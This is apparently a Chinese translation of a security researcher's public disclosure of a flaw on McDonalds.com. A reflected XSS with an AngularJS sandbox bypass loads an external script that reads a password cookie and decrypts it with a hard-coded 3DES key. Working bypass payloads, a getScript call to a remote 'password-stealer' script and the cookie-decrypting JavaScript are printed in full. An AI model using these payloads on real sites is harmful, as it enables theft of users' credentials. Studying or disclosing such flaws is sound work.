看我如何利用漏洞竊取麥當勞網站註冊用戶密碼
本
文講述了利用不安全的加密存儲(Insecure_Cryptographic_Storage)漏洞和服務端反射型XSS漏洞,實現對麥當勞網站(
McDonalds.com)
註冊用戶的密碼竊取,進一步測試,還可能獲取到網站註冊用戶的更多信息。
POC-利用反射型XSS漏洞繞過AngularJS框架沙箱
麥當勞網站McDonalds.com設置有一個搜索頁面,該頁面存在XSS反射型漏洞,可以返回搜索參數值,假設搜索參數q為***********-test-reflected-test-***********,對應鏈接:
https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********
則執行效果如下:
麥當勞網站採用AngularJS框架,所以可以使用特殊字元在搜索區域進行返回值嘗試。通過更改搜索參數q為{{$id}}之後,發現返回值對應AngularJS範圍內的對應ID數字9:
Link used: https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}
AngularJS是一個流行的JavaScript框架,通過這個框架可以把表達式放在花括弧中嵌入到頁面中。
例如,表達式1+2={{1+2}}將會得到1+2=3。其中括弧中的表達式被執行了,這就意味著,如果服務端允許用戶輸入的參數中帶有花括弧,我們就可以用Angular表達式來進行xss攻擊。
由於AngularJS工作在沙箱模式,所以使用參數{{alert(1)}}無任何返回信息,但這並不代表AngularJS沙箱沒有漏洞。
在 AngularJS1.6版本中,由於沙箱機制不能很好地起到安全防護目的,已經被從源碼中移除。而PortSwigger還對AngularJS的各版本沙箱進行了繞過測試,並給出了相應繞過執行命令。
在這裡,我們來看看McDonalds.com使用的AngularJS版本,通過在瀏覽器控制端輸入angular.version命令:
可以發現AngularJS為1.5.3版本,參照PortSwigger的測試,我們選用
{{x = {"y":"".constructor.prototype}; x["y"].charAt=[].join;$eval("x=alert(1)");}}
作為搜索參數,很驚喜,返回值如下:
這就意味著,我們可以利用繞過命令,對網站載入外部JS腳本文件,如構造如下命令:
{{x = {"y":"".constructor.prototype}; x["y"].charAt=[].join;$eval("x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)");}}`
返回結果如下:
在內容安全策略(Content-Security-Policy)的提示下,第三方腳本文件被成功載入。
竊取密碼
除此之外,我在麥當勞網站的註冊頁面發現了複選框「Remember my password」,通常來說,這隻有在用戶登錄頁面才存在,有點奇怪:
在該頁面的源代碼頁面,包含了各種passowrd欄位內容,甚至存在一個有趣的密碼解密函數:
最危險的是,利用該解密函數代碼竟然可以實現對客戶端或雙向加密存儲的密碼破解。嘗試對發現的被存儲Cookie值penc進行解密,竟然成功了!
而且,經分析發現,Cookie值penc的存儲期限是大大的一年!LOL!
另外,以下的源碼分析顯示,麥當勞網站使用了Javascript的CryptoJS加密庫進行信息加密,加密方式為3DES,其中加密參數key和iv都為通用,這意味著只需要獲取到cookie值就能對密碼解密:
由於AngularJS沙箱繞過方法只對charAt的join方法(charAt=[].join;$eval(『x=alert(1)』))有效,所以即使我曾嘗試在搜索區域構造其它惡意命令對cookie信息進行解密,但最終總是因為getCookie失敗而無效。
只有當charAt(0) 不為空時,getCookie才有返回值:
最後,我寫了一段調用麥當勞網站首頁框架進行cookie竊取的腳本,為了避免腳本因AngularJS沙箱被繞過而被反覆執行,所以,我用window.xssIsExecuted對其進行了顯示控制,如下:
if (!window.xssIsExecuted) {
window.xssIsExecuted = true;
var iframe = $("");
$("body").append(iframe);
iframe.on("load", function() {
var penc = iframe[0].contentWindow.getCookie("penc");
alert(iframe[0].contentWindow.decrypt(penc));
});}
最終,配合以下AngularJS沙箱繞過命令,可以成功從cookie信息中對密碼解密!
{{x = {"y":"".constructor.prototype}; x["y"].charAt=[].join;$eval("x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)");}}
遺憾的是,我曾多次與麥當勞官方就此問題進行聯繫,但是他們竟然都不回應!@#%¥&! ,所以我選擇把此漏洞公開。
**參考來源:
finnwea.com
,FB小編clouds編譯,轉載請註明來自
FreeBuf.COM
。
※安全抽象 | 網路安全生態系統從複雜臃腫到有效自動化的發展之道
※WhatsApp的「後門」是故意為之,還是提升體驗的副產品?
TAG:FreeBuf |
※指紋很容易被竊取,用它當密碼合適嗎?
※如何利用SS7漏洞竊取比特幣?
※注意你的隱私!黑客能監控人的腦波竊取賬戶密碼
※玩遊戲要小心,日本黑客利用手游竊取機密
※黑客能通過腦波竊取密碼
※為何在電話機上按銀行卡密碼會被竊取?
※小心你的黑客鄰居,不需破解密碼就能竊取你的信息!
※惡意程序利用英特爾 AMT 竊取數據和躲避防火牆
※「我的軍裝照」APP會竊取用戶隱私?謠言,莫信
※當心黑客竊取你物聯網設備中的數據!
※科學家研究發現,黑客可以用腦電波竊取你的密碼
※大數據時代如何保護數據,反爬蟲竊取的實用思路和方法
※新bug!釣魚攻擊可通過iOS彈出窗口竊取用戶密碼
※為什麼網路黑客更願意竊取你的個人資料而非銀行卡?
※碟中諜!俄黑客用卡巴斯基竊取美國機密 反被以色列監控
※【德國生活】超一千個購物網站都有安全漏洞,用戶支付信息可能被竊取!
※思想會出賣你?用腦波竊取隱私時代來了
※「錄取通知書」病毒蔓延 竊取手機里隱私信息
※你的蘋果ID可能形同虛設!20名內部員工非法竊取用戶信息出售